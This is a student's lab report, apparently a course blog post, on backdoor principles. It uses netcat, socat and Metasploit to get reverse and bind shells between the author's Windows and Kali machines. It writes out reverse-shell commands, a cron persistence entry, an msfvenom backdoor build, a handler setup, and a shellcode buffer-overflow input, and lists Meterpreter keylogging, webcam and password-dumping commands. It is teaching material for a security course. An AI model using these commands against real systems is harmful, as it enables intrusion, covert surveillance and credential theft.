2019-2020-3 20175121杨波《网络对抗技术》Exp2 后门原理与实验

标签: linux 后门 Meterpreter


一、后门概念

后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

二、常用后门工具

2.1 NC 或 netcat

2.2 Win获得Linux Shell

以下实践Windows基本Win10-64bit, Kali-64bit.

  • 在Win10下使用ipconfig查看本机IP

  • 使用ncat.exe程序打开监听ncat.exe -l -p 8888

  • Linux反弹连接win,输入nc 192.168.88.248 8888 -e /bin/sh,使用-e选项执行shell程序

2.3 Linux获得Windows Shell

  • 在kali中使用ifconfig查看IP

  • Linux运行监听指令,nc -l -p 8888

  • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.196.133 8888

  • Linux下看到Windows的命令提示

*2.4 Mac获取Win shell

*2.5 Win获取Mac Shell

*2.6 Mac获取Linux Shell

*2.7 Linux获取Mac Shell

没有mac机器,暂时无法做

2.8 Netcat扩展知识

使用nc传输数据

  • Windows下监听8888端口,ncat.exe -l 8888
  • kali反弹连接到Windows的8888端口,nc 192.168.88.248 8888
  • 连接建立成功,双方可以相互传输数据

使用netcat传输文件(将文件从kali传给Windows)

  • Windows下监听8888端口,并把收到的数据保存到file.out中,ncat.exe -l 8888 > file.out
  • kali 反弹连接到Windows的8888端口,nc 192.168.88.248 8888 < file.in
  • 连接建立成功,Windows可以收到kali发来的文件

三、Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
  • 参数说明
    • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/m eterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

Meterpreter常用功能

meterpreter > help
Core Commands第一部分是核心指令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands第二部分是文件系统相关的
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands当然少不了网络操作的了
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands系统指令
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands用户接口,哇还可以抓取击键记录呢
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands 什么?Video?昨天哪位同学问我来着?测试Win7可拍摄。
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands提权
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.
    ***我的win7没成功***

Priv: Password database Commands导出密码文件SAM
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
    ***我的win7没成功***

Priv: Timestomp Commands修改文件操作时间,清理现场用
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

四、后门启动

4.1 使用socat获取主机操作Shell,任务计划启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

  • crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
  • 最后一行添加15 * * * * /bin/netcat 192.168.88.248 5121 -e /bin/sh,意思是在每个小时的第15分钟反向连接Windows主机的5121端口。

  • 时间到15分的时候,如下图所示,使用whoami命令验证

4.2 使用netcat获取主机操作Shell,cron启动

  • 右击此电脑,点击管理,点击任务计划程序,再点击创建任务

  • 填写任务名,新建一个触发器,选择按预定计划

  • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5121 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5121,同时把cmd.exe的stderr重定向到stdout上:

  • 创建好后任务准备就绪

  • 到达15:30后,再次打开时,可以发现之前创建的任务已经开始运行,并且会弹出一个cmd窗口,弹出的cmd窗口别关闭。此时,在kali中输入输入指令socat - tcp:192.168.88.248:5121,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5121端口,此时可以发现已经成功获得了一个cmd shell

4.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 -f exe > meter_backdoor.exe这里的IP地址为控制端IP,即kali的IP,此时已经生成了后门程序“meter_backdoor.exe”

  • 在Windows下执行ncat.exe -l 5121 > meter_backdoor.exe,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.88.248 5121 < meter_backdoor.exe(这里的IP为被控主机IP,即Windows的IP)

  • 传送接收文件成功

  • 在kali上使用msfconsole指令进入msf控制台
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.196.133,这里用的是Kali的IP,和生成后门程序时指定的IP相同
    • set LPORT 5121,同样要使用相同的端口
  • 进入msf控制台后的界面

  • 设置完成之后,输入指令exploit执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

4.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用screenshot指令可以进行截屏

  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作

但是提权操作是失败的

4.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

shellcode网站链接
在这个网站,上面生成的的shellcode都是经过测试过可用的。在网站里找一个linux/x86平台的,用于反弹连接的shellcode下载

  • 复制出里面的机器码

  • 通过实验一,找到shellcode的起始地址(记得要关闭地址随机化),我的起始地址是0xffffd1e4,把地址加在这段shellcode前面,用其生成input1文件
perl -e 'print "A" x 32;print"\xe4\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1
  • 然后在另一个终端打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
  • 在原来的终端输入命令(cat input1;cat) | ./pwn1,然后再按一次回车,在另一个终端就可以得到shell开始运行

五、思考与总结

5.1 基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 邮件里加入可执行的附件,附件执行后自动安装一个不可见的程序但是黑客可以通过这个软件链接到你的电脑
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows:将建立链接的可执行文件伪装成文本文件,游戏等诱导用户打开,与其他文件进行捆绑启动
    • linux:
      以具有跟源文件一样时戳的特洛伊木马程序版本来代替二进制程序
      Cronjob定时运行后门,入侵者每天在该时刻可以访问
      在启动区内隐藏后门
  • (3)Meterpreter有哪些给你映像深刻的功能?
    • 能够通过后门控制目标机的摄像头和麦克风,读取键盘记录,调取密码,对目标机用户的隐私安全构成了极大威胁
  • (4)如何发现自己有系统有没有被安装后门?
    • 经常死机:病毒打开了许多文件或占用了大量内存;不稳定运行了大容量的软件占用了大量的内存和磁盘空间;使用了一些测试软件硬;盘空间不够等等
    • 出现大量来历不明的文件:病毒复制文件;可能是一些软件安装中产生的临时文件;也或许是一些软件的配置信息及运行记录
    • 检查服务和启动项是否有一些可以的文件
    • 经常使用杀毒软件进行扫描杀毒

5.2 实验总结与体会

在这次实验中,我遇到了许许多多的问题,这些问题光看实验指导书是无法知道的。如没有使用root权限而没法执行指令,没有关闭Windows防火墙和Windows defener而导致后门文件被删除,触发器的时间设置错误导致一直处于就绪状态等等。有些问题就是一些很小的细节,但是不注意的话就会给你造成很大的困扰。在使用Meterpreter进行提权操作是失败,我上网查询了各种操作,参考了Kali Linux渗透测试--windows 10入侵和提权过程,但是仍无法提升权限,与同学交流后其表示在Windows7上能提升权限,在Windows10上如何提升权限仍无法实现,这个问题有待解决。通过这次实验,我对后门的原理和实现过程有了一定的了解,更深刻的体会到计算机安全的重要性,黑客利用后门能随意盗取受害者隐私信息非常可怕,网络安全任重道远。

posted @ 2020-03-10 21:12  20175121杨波  阅读(333)  评论(0编辑  收藏  举报